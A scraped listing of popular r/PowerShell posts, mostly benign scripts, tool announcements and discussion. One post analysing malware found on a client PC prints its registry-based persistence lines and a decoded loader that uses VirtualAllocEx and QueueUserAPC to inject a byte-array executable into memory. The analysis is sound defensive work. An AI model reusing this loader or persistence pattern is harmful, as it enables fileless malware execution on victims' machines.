r/PowerShell • • Dec 26 '19

Get-HappyNewYear - Yes, bored at work...

118 Upvotes

Just made a little function for fun, what do you think ?

<# Give you timeleft before NewYear
Wish you an happy NewYear if 1st january #>

Function Get-HappyNewYear {
    # Variables
    $ActualYear = (Get-Date).Year
    $NextYear = $ActualYear + 1
    $TimeLeft = New-TimeSpan -Start (Get-Date) -End ("01-01-$NextYear" -as [datetime])

    $d = $TimeLeft.Days
    $h = $TimeLeft.Hours
    $m = $TimeLeft.Minutes
    $s = $TimeLeft.Seconds
    $Totalh = [math]::Round($TimeLeft.TotalHours)

    # Job
    Write-Host "There are $d day(s), $h hour(s), $m minute(s) and $s second(s) left before the New Year !"

    if ((Get-Date).Day -eq 1 -and (Get-Date).Month -eq 1 ) {
        Write-Host "But, actually it's 1st January so... HAPPY NEW YEAR $ActualYear !!!" -ForegroundColor Red -BackgroundColor Yellow
    }
    else {
        Write-Host "So... Be patient, the new year is in $Totalh hour(s) and $m minute(s) !"
    }
}

r/PowerShell • • Dec 07 '19

PowerShell Traps - Collection of PowerShell traps and oddities

Thumbnail
github.com
118 Upvotes

r/PowerShell • • Mar 06 '19

Meet Statusimo - PowerShell generated Status Page

Thumbnail
evotec.xyz
118 Upvotes

r/PowerShell • • Jul 29 '18

Announcing PS Sysadmin Toolkit

118 Upvotes

Fellow Powershellers!

A few days ago I came up with the idea for module that would be a Toolkit of useful functions for system administrators. I posted a request for ideas over in /r/sysadmin, and the response was fantastic.

I'm happy to report that development is well underway. If you'd like to review the module, you may do so here: https://github.com/steviecoaster/PSSysadminToolkit

If you have an idea for a function that could be added to the module, please file an issue, and if you have code already written, do share if you are able, and I'll get it added in. Rather post it in the issue and I'll handle the rest, or submit a PR for me to merge.

The Master branch is relatively empty at the moment, I've got everything in the Dev branch until things are built enough to warrant a Release, at which time, I'll push to Master.

Any and all feedback is most welcome, and an extra set of eyes/hands from you fine folks is more than welcome.


r/PowerShell • • Dec 27 '17

PowerShell 101: The No-Nonsense Beginner’s Guide to PowerShell eBook is on sale for 99-cents until the end of the year!

Thumbnail
mikefrobbins.com
118 Upvotes

r/PowerShell • • Sep 05 '17

Introducing PowerShell Pro Tools Universal Dashboard - Cross-platform, web-based dashboards

Thumbnail
poshtools.com
118 Upvotes

r/PowerShell • • Aug 17 '17

Free Powershell eBooks

Thumbnail
powershell.org
118 Upvotes

r/PowerShell • • Jan 12 '25

Script Sharing I feel the need to apologize for what I'm about to post here...

117 Upvotes

...because of what I've brought into the world. And I'm saying that as the guy who wrote this.

Have you ever tried to make a native Windows toast notification in PowerShell Core/7? The Types & assemblies aren't there, you can't do it. Well, not natively anyway; technically you can, but you need to source & install the Microsoft.Windows.SDK.NET.Ref package from NuGet and load additional assemblies to get access to the ToastNotificationManager Type.

What if I told you that you can do it natively on PowerShell Core with zero external dependencies? Well, now you can, thanks to this unholy pile of shit I just wrote!

It's available here.

Yes, there are nested-nested here-strings. Yes, there are nested-nested-nested functions. Yes, I am essentially base64-encoding the entire abomination and abandoning it on PowerShell 5's doorstep to deal with. Yes, there is one single comment in the entire hideous thing. Yes, there are several levels of selective string interpolation fuckery happening simultaneously. What scope are we in? Who knows! It's very similar to an onion in that it's small (~200 lines) and there are layers upon layers, and the more layers you peel back, the more it makes you want to cry.

Here's a breakdown of the parameters I would normally give in the script/function, but I wanted this... thing out of my editor as soon as it was working:

-AppID
- This is the application that the toast notification claims to be from. Since it's not a registered application, it has to impersonate something else, and it impersonates PowerShell by default. You could also do "MSEdge" or similar.
-Title
- The headline that appears on the toast notification.
-MessageContent
- The body of the message that appears within the toast notification.
-ActionButtonLabel
- The text displayed on the OK/Dimiss/whatever you make it button.
-ActionButtonActivity
- What happens when the button is clicked. By default, it opens the default browser to the search engine Kagi, because I was using that for testing and forgot to take it out. I don't wanna open this thing back up today, so it's staying that way for now. You can also have the button do nothing, which leads to...
-NullActivity
- This switch enables`-ActionButtonActivity` to be nullable, so specifying this parameter makes the button do nothing except dismiss the notification.
-Duration
- Exactly what it sounds like, the length of time that the notification dwells on the screen. It's not measured as an absolute value though, the parameter is being `ValidateSet'd` against its Type enums listed [here](https://learn.microsoft.com/en-us/dotnet/api/microsoft.toolkit.uwp.notifications.toastduration?view=win-comm-toolkit-dotnet-7.1) and [here](https://learn.microsoft.com/en-us/dotnet/api/microsoft.toolkit.uwp.notifications.toastscenario?view=win-comm-toolkit-dotnet-7.1). The default duration is `reminder`, and it lingers for ~6 seconds.

All parameters are nullable because why not, it's enough of a shitshow already.

I'm going to go ahead and get out in front of some questions that I know might be coming:

1. Why are you the way that you are? I have the exact same amount of insight into this as you do.

2. What possessed you to do this? I wanted a notification from one of my bootstrapping scripts for Windows Sandbox that it was done. I realized halfway through that the notification would be coming entirely from PowerShell 5 anyway since the first thing it's bootstrapping is PowerShell 7, so I essentially did this entire goddamned thing for nothing, but I was already too deeply invested and full of shame not to finish it. I have native Windows toast notifications via PowerShell 7 now, though! but at what cost...

3. Why didn't you just barf the strings out into a temp file as a script, run it with PowerShell 5, and then delete it? It's convenient, but you're not always guaranteed to have a writable directory. That's also the way that a lot of malware works and is likely to be flagged by antivirus. Let's ignore the fact that I'm abusing the shit out of PowerShell's -EncodedCommand parameter to make this work, which is also how a lot of malware works. The difference is I cryptographically sign my broken pieces of shit, so its' legit.

4. Do you know what brain/neurological malady you suffer from to voluntarily create things like this? No, but I'm sure that it has a long name.

5. Can I use it to do X/Y/Z? Yes, it's MIT licensed, do whatever you want. Make it not such an affront to common decency and submit a PR to the repo. That's the best thing that you could do with it, aside from banishing it back into the dark hole from which it slithered out.

I almost forgot, here's a screenshot of my shame in action.

I'm gonna go take a shower now.

EDIT: Thanks to a tip from /u/jborean93, it's 200% more gross, because now it's remote-capable and cross-platform (well, cross-platform from the sending side, anyway).

It's located here if you want to see it. I made it a new file in the repo because of the differences between it and the original.


r/PowerShell • • Feb 16 '21

Information A look at malware that uses Powershell

117 Upvotes

Note 1: I talk about a virus, though technically that's wrong because it doesn't seem to spread, so it's malware.
Note 2: Variable names are randomly generated, so googling them won't bring you anything
Note 3: Execution policy is set to Restricted
 
I had a customer today being blacklisted because of spam from their IP address. Port 25 was open from LAN to WAN and someone must have clicked on the wrong thing and turned into a mail server.
Changing firewall rules solved the acute problem and the computer will be reinstalled be sure we're rid of the virus, but before doing that I wanted to look a bit into it. To my surprise, it was mostly made out of Powershell.
I did not recreate yet how the user got infected, but it lived in the user context only (which makes sense as the user has no administrative permissions) and lived mostly in an 8MB hex registry key that was called
 
A user clicked somewhere in an e-mail she shouldn't click. Suddenly three things appear:

  1. a registry key with many values

  2. a Powershell Script Altsroxy.ps1 …

iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:\Software\AppDataLow\Software\Microsoft\E26052A3-D9EA-6456-7336-1DD857CAA18C").blbrdler))

… that does the same as a Regkey Altsroxy but through ActiveX:

Dt7di=new ActiveXObject('WScript.Shell');Dt7di.Run('powershell iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:\Software\AppDataLow\Software\Microsoft\E26052A3-D9EA-6456-7336-1DD857CAA18C").blbrdler))',0,0);

3) a shortcut to powershell called d3d1ider, just like another Regkey again doing the same, but this time with another step: HTA calls ActiveX calls WScript calls Powershell.

The following heavily obfuscated code is executed. I had to convert base8 (so hex) to base64 to base35. In the end I ended up with somewhat readable cod ebecause, to my surprise, it was Powershell (and some C#).

A seemingly unused variable

$wlhgtnojuv="glqpqetxjm"

The main function taking also care of the de-obfuscating

function eptauve{
      $ssyx=[System.Convert]::FromBase64String($args[0])
      [System.Text.Encoding]::ASCII.GetString($ssyx);
      }

Invoke-Expression calls the abovementioned function and imports some C# methods

iex(eptauve("$nfuyrtr="[DllImport(`"kernel32`")]
`npublic static extern uint QueueUserAPC(IntPtr jphxxkfdthf,IntPtr lnf,IntPtr uet)
`n[DllImport(`"kernel32`")]
`npublic static extern IntPtr GetCurrentThreadId();
`n[DllImport(`"kernel32`")]
`npublic static extern IntPtr OpenThread(uint wwqqeyldba,uint ccghpcxllqj,IntPtr tobsn);";

$pdhalq=Add-Type -memberDefinition $nfuyrtr -Name 'tseeoxqndt' -namespace W32 -passthru

$dnfplbfevoj="[DllImport(`"kernel32`")]
`npublic static extern IntPtr GetCurrentProcess()
`n[DllImport(`"kernel32`")]
`npublic static extern void SleepEx(uint hmli,uint odfa)
`n[DllImport(`"kernel32`")]
`npublic static extern IntPtr VirtualAllocEx(IntPtr cieceahsrf,IntPtr qipockeo,uint fmaounwoa,uint hdhq,uint fssner)

$snpfiobdg=Add-Type -memberDefinition $dnfplbfevoj -Name 'iteocetkyp' -namespace W32 -passthru;"));

Another seemingly uninteresting variable

valanckhdvc="eeud"

The most important bit is this huge, 8 Megabyte string (obviously cut short here)

[byte[]]$vdtlv=@(233,103,89,0,0,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,0, ...) 

I sent it to a file and the end result is a 520K binary (obviously also cut short here).

?gY  ?? ? @   ? ? ?!?L?!This program cannot be run in DOS mode. $ h)??,H??,H??,H?? ???.H?? ???!H??%0,?-H??%0<?.H??%0(?-H?? ???/H?? ???/H??,H???I?? ???aH?? ???-H?? ???-H??Rich,H?? PE d? u??_ ? "   ? ??  ?        >       ?? 7 P? < ? ?  8 0  ?m ? .text h    `.rdata ?f 0 h  @ @.data @ ?  > ? @ ?.pdata ? ?  ? @ @.bss ? ? ? @ ?.reloc  

iex(eptauve($snpfiobdg::SleepEx(1,1);

The execution is probably through an exploit in this bit, but this goes over my head. I'm not Mark Russinovich.

if($webtrmv=$snpfiobdg::VirtualAllocEx($snpfiobdg::GetCurrentProcess(),0,$vdtlv.Length,12288,64)){
      [System.Runtime.InteropServices.Marshal]::Copy($vdtlv,0,$webtrmv,$vdtlv.length)
if($pdhalq::QueueUserAPC($webtrmv,$pdhalq::OpenThread(16,0,$pdhalq::GetCurrentThreadId()),$webtrmv)){$snpfiobdg::SleepEx(19,3);}
}));

I don't know what the binary does exactly, but from the readable bit (“This program cannot be run in DOS mode.“) it's an executable or DLL. Because of the way it acted and it being limited to the user context, I presume it was a compact mail server.
Hopefully this was a bit of an interesting read. If you can add to understanding the code, please comment.


r/PowerShell • • Apr 04 '19

Setup PowerShell SSH Remoting in PowerShell 6

Thumbnail
thomasmaurer.ch
117 Upvotes

r/PowerShell • • Mar 12 '19

TIL that Powershell CAN do colors!

117 Upvotes

It appears that since Windows 10 Anniversary Edition, the Windows conhost is no longer limited to 16 colors! This is absolutely news to me, though I can't outrule that I just wasn't paying attention around the time when it came out.

Apologies if this was common knowledge I somehow missed.

I don't see any proper support for it in Powershell, but through a bit of fiddling with ANSI escape codes it can be done.

Here is a sample script for proof (caveat emptor: rainbow barf).

# ANSI escape character
$ansi_escape = [char]27

for ($r = 0; $r -le 255; $r += 16) {
    for ($g = 0; $g -le 255; $g += 8) {
        write-host ""
        for ($b = 0; $b -le 255; $b += 4) {
            $ansi_command = "$ansi_escape[48;2;{0};{1};{2}m" -f $r, $g, $b
            $text = " "
            $ansi_terminate = "$ansi_escape[0m"
            $out = $ansi_command + $text + $ansi_terminate
            write-host -nonewline $out
        }
    }
}

Screenshot for the lazy

Note that whether this works or not will differ between terminals.
Pretty sure it won't work on Windows 10 pre-Anniversary Edition. No clue about Windows servers. I am supposing it should work fine on Linux as well, since they've had gloriously colored terminals for aeons.

The script above was built on the documentation found here: https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences#extended-colors


r/PowerShell • • Aug 16 '18

Windows Command-Line: Introducing the Windows Pseudo Console (ConPTY)

Thumbnail
blogs.msdn.microsoft.com
117 Upvotes

r/PowerShell • • Oct 21 '17

News Your Vote Counted: -NoTypeInformation is Now Default For Export-Csv and ConvertTo-Csv in PowerShell Core (Get-PowerShellBlog /u/markekraus)

Thumbnail
get-powershellblog.blogspot.com
117 Upvotes

r/PowerShell • • Sep 30 '25

Powershell for a network engineer..

116 Upvotes

In January this month I accepted an offer for a network engineer role (previously working on 2nd line)

I was 99% happy with the role, but my only concern was that I would lose my Powershell skills as I wouldn't be doing much Windows administration

I asked this forum for advice on how I could keep up with my skills and was given some great ideas, and I wanted to give something back by explaining what I have done. Hopefully this may help someone in a similar position

- We have about 30 switch stacks and we're supposed to have one data vlan per stack. However I found that several VLANs were on multiple stacks so I wrote a Powershell script which queried the Extreme Site Engine API and made a grid showing which VLANs were on which switches, and how many ports were assigned to to each VLAN. Learned what GraphXL was in the process (and then never used it again lol).

- Wrote a script which used the Extreme Cloud IQ API to schedule software updates on our access point. We're a 24/7 business (hospital) so we can't do it over night. Instead the script schedules a block of 10 APs (in different locations) to update every 10 minutes.. Gets the whole site done in a day or so with no down time as we 2 APs covering every area.

- We have a lot of wasted address space (everything is /24) so I wrote a script to update the core switches, delete and create the DHCP scopes on Windows Server, and then reset the edge ports. This is pretty janky as it uses SSH commands (I would prefer to use rest API but didn't have time to learn it at the time), but it works.

- Wrote a function to get the switch port from a MAC address. I mainly use this to find out where a wall port is connected to quickly. I connect my laptop to the port (the function defaults to the mac address of the device running the script), run the script and it queries the site engine API to tell me the switch port and VLAN membership. It's also quite handy in an untidy comms room as is much quicker than tracing the cable

- Lots of scripts for specific troubleshooting. We had hundreds of devices were 802.1x was not working correctly and I wrote scripts to query event logs and network adapter settings on all these machines to find out the cause. This would have taken forever manually.

In short I still use Powershell every single day and I'm glad I learnt it before stepping into this role. And yes you can do all of this using Python but if you already know Powershell then no reason not to keep using it


r/PowerShell • • Jun 02 '24

is it ok to use AI in Powershell?

116 Upvotes

I use AI when creating Powershell scripts(new user creation,disabling users) is this a shame or normal? I work in IT but lately realized the importance or automation. As long as its gets the job done its fine for me. I want to know your thoughts on this.


r/PowerShell • • Dec 14 '22

Daily Post ChatGPT has got me learning PowerShell, who would have thought?

116 Upvotes

I am a novice in IT. I am a Support Analyst with my eye on becoming an Infrastructure Engineer and Administrator one day. I have never been able to code (even though I have always wanted to learn) and I kept finding the process too time consuming and demotivation. After learning about the ChatGPT tool I had to get myself back into a mindset of wanting to learn and being in an IT Support Analyst role - working with network administration tools (predominantly Microsoft) and customer support - I chose PowerShell to try first.

My experience so far:
I'm truly impressed on how ChatGPT (in tandem with a Udemy course) is enabling me to try new ways of approaching problems instead of just copy/pasting scripts I found online and not understanding how they work. I've went from learning a hello world script to creating short scripts that help me with my day job and I'm not only using the tool to produce scripts that work in my work environment - I am also *really* learning how PowerShell integrates with classes, the .NET framework, and its extended uses in Active Directory on prem, Azure, Intune, Exchange.

I'm aware of the dangers. This tool has the ability to make lazy coders (the bad kind of lazy), who believe the code an AI has churned out is reliable and correct without testing it and taking the time to learn what they're working with.

I'm learning lots and I'm really excited. I would like to hear how everyone else has been using it (outside of PowerShell too) and how I can use this tool responsibly while learning.

I think this tool is a step in the right direction, and with some training and experience, people can use it to its full potential.


r/PowerShell • • Oct 18 '21

Script Sharing PowerShell Folder size and Item count report. This has to be my most used script of all time and it was easy to write. Look in the comments for easy mods.

Thumbnail
techbloggingfool.com
116 Upvotes

r/PowerShell • • Oct 10 '20

Information Azure and Pluralsight FREE week October 12-18th!

116 Upvotes

r/PowerShell • • Mar 02 '20

Question Multiple Years of Microsoft's Broken PowerShell Module HelpInfoURIs and Update-Help

116 Upvotes

Have you tried using Update-Help on Windows PowerShell over the past few years? If you haven't in a while, go and do it now. I can tell you exactly what happens if you do: you get errors.

It doesn't matter if you have custom modules installed. The errors show up on fresh installs of Windows.

You may have even ended up getting annoyed, and no longer use Update-Help without running it like this:

Update-Help -Verbose -Force -ErrorAction SilentlyContinue

You're not alone. This is a problem across every Windows system because Microsoft has had broken documentation links in their standard, included-with-OS PowerShell modules for years. There are multiple conversations in places like StackOverflow, Microsoft forums, and elsewhere that are all by people first running into this problem.

The details as to why this happens, and paths that Microsoft can do to fix the problems, are detailed here:

Update-Help fails for WindowsUpdateProvider

The GitHub issue has been open for over two years, and the problems continue to persist.

My question: where else can this information be passed on to the right folks at Microsoft? This GitHub issue above likely doesn't translate into any kind of internal Microsoft task for the appropriate module owners. The broken modules are not open-sourced modules, but are included with the Windows OS, so I'm not sure the best way to go about it. There are more detailed lists of questions, based on the problem details, in the above linked issue.

Otherwise, too: definitely contribute to the issue's conversation, give more reaction/thumbs-up emojis to the OP of the issue and to any other helpful comments within the issue conversation.


r/PowerShell • • Feb 04 '20

Pode - PowerShell Web Server

116 Upvotes

I've been meaning to post about this on here for a while, so thought a new release would be a good time!

Pode is a cross-platform pure PowerShell Web Server - even HTTPS. There's also support for template engines in views, and even Azure Functions and AWS Lambda support.

Pode lets you build fully custom REST APIs and Websites, with support for Routing, Middleware, Sessions, CSRF, Authentication, and even Web Sockets.

You can run Pode on Windows or Linux, as a Windows/Linux service, in a Docker container, or even on a Raspberry Pi!

The latest release, v1.5.0, now adds OpenAPI and Swagger/ReDoc support.

You can find Pode on [Github] with a full list of features, and the documentation here.

I know some people frown at the idea of PowerShell as a Web Server, but for DevOps Automation and Dashboards it can be quite a useful tool to have! :)


r/PowerShell • • Nov 20 '19

Opinion - The Microsoft Partner Center Powershell Module is not fit for purpose for delegated administration

116 Upvotes

For those who don't know, a number of months ago Microsoft enforced a number of security requirements on MS Partners to enforce two-factor security.

Two-factor authentication is an absolute must for partners AND our users/clients - this is something I will openly champion. Unfortunately, Microsoft rushed in to this head first without appropriately preparing their own Powershell modules for delegated administration. Upon implementation we were left in a position where we had to scramble to re-write existing scripts to make them work. We completely lost all of our centralised security monitoring for clients Exchange tenants because Microsoft had zero way at the time of performing delegated administration through Powershell.

I know outside of our own experience that huge vendors struggled to implement the model too with some of their Office 365 integrations that relied on Powershell.

I am not a Powershell pro, but I am not a Powershell noob either but I find the Secure App Model extremely difficult to implement in Powershell. I know others do too because the Microsoft Partner Community Forums is full of MS Partners who are having the same difficulties in consuming it.

To get an indication of the difficulty in consuming it, see here for a script on how to start setting it up. https://www.cyberdrain.com/connect-to-exchange-online-automated-when-mfa-is-enabled-using-the-secureapp-model/ . The methods that partners have to go through are not intuitive in the slightest.

To make it even harder the Refresh Token that you eventually get that allows you to perform delegated administration expires every 90 days and there are only two ways to get a new one:

  1. It generates a new refresh token each time you request a new token, leaving you with two tokens which means you need to find a way to update the existing token that you have stored somewhere

  2. If for whatever reason that initial token expires you need to request a new one - that's an interactive process that you need to go through each time with no way to automate it.

To outline how ridiculous it is, look at what steps are required for me as a partner to get some mailbox information out for my clients using Powershell.

  1. Generate a new App in Azure with explicit permissions

  2. Generate and then store credentials that can then interact with the app, an AppID and a Key which is essentially the password

  3. Request a token from the PartnerCenter Module that then becomes a refresh token for that Partner App (this requires an interactive login)

  4. Request a different token that becomes your Exchange Refresh token (this requires an interactive login)

  5. Store all of the above securely on the machine you are running these on

  6. Get an Azure Active Directory graph token using the credentials generated in step 2 and the refresh token generated in step 3

  7. Get a standard MS Graph token using the credentials generated in step 2 and the refresh token generated in step 3

  8. Connect to the MSOnline Powershell module to get a list of your clients and their tenant IDs using the aadGraphToken and the MsGraphToken.

  9. Loop through each customer and then...

  10. For each customer request a specific Exchange Refresh Token for that particular customer using the Partner Center Module Powershell

  11. Manipulate the token to be able to facilitate generating a New-PSSession for which you need to send in your manipulated token that you've had to prefix and manipulate with Bearer to get to work

  12. Get-Mailbox

  13. Remove the session and loop back to 9.

To keep this running automated too, in the main commands each time a refresh token is issued you need to update any existing tokens you get stored. If you are storing the credentials appropriately and want to run this on different machines you have to go through the entire process on each machine because it's a different refreshtoken each time.

In my opinion this is FAR too difficult and short of providing better security for partners it will simply encourage the ones that care a bit less to adopt security practices that are FAR worse like embedding credentials. I'd never do that, but there are plenty of crappy MSPs that will.

To top this off, a number of these cmdlets don't even work properly. I have two Github issues open right now for inherent problems that exist in the modules. Imagine how hard this is when you are requesting tokens and it only provides a refresh token 10% of the time you run the Cmdlet. Imagine the difficulty when certain commands that you run with your delegated tokens just error out, not with reasonable errors but with errors that represent the module is actually crashing. Imagine them changing how the Partner Center Module worked from 1.5 to 2 with them implementing changes that break existing scripts.

But hey, they released V2 of the Exchange Online Powershell Module! Great! https://docs.microsoft.com/en-gb/powershell/module/exchange/powershell-v2-module/connect-exchangeonline?view=exchange-ps Oh wait... it doesn't work with Delegated Administration at all at the moment.

I apologise if this comes across a bit ranty, but I wanted to draw attention to how messed up the situation is at present.


r/PowerShell • • Sep 02 '15

Congrats to Jeffrey Snover on being promoted to Technical Fellow at Microsoft

Thumbnail
twitter.com
116 Upvotes

r/PowerShell • • Aug 20 '26

Information PSA: Never use a wildcard in an install-module command.

115 Upvotes

Mean and nasty people are filling the repository with almost-right spelling of the real modules.

Just check the output of this command: Find-Module Microsoft.Graph.auth*

There are currently 1 real one and 25 malicious ones


r/PowerShell • • Jul 28 '26

Question Is poweshell worth it?

115 Upvotes

I'm basically a typical computer user, who knows just enough to get into reddit, youtube and use the PC for personal entertainment. I realized there is PowerShell. As I have some free time and I'd actually want to know a little bit more about the computer and how to use it, do you guys recommend learning it? Or is it more for automating tasks, which is more benefitial for someone who needs to actually automate many things, or someone in the IT field? Is it any useful really for a personal user? What could I do instead?

I've come across a book about it too ("Learn Windows Powershell in a month of lunches" by Don Jones), and I actually think I can pull off the things it explains, and makes you practice. I read the first 20 pages and was about to start when it mentiones that it's moslty useful for, or aimed at people on IT, and said that I'd need to get a VirtualMachine and ISO to learn PowerShell, have a go at it in there and fuck up the VM if I have some trouble, which won't affect the actual computer (I know that that's an old approach, the book is from 2012. I read that for most things now, like learning the basics and how it works, I won't need the VM, but I don't mind sticking to the 2012 way to learn, so I can start learning a bit of history in the field too, just for my entertainment and having a broader sight about it).

What do you guys think? Thanks in advance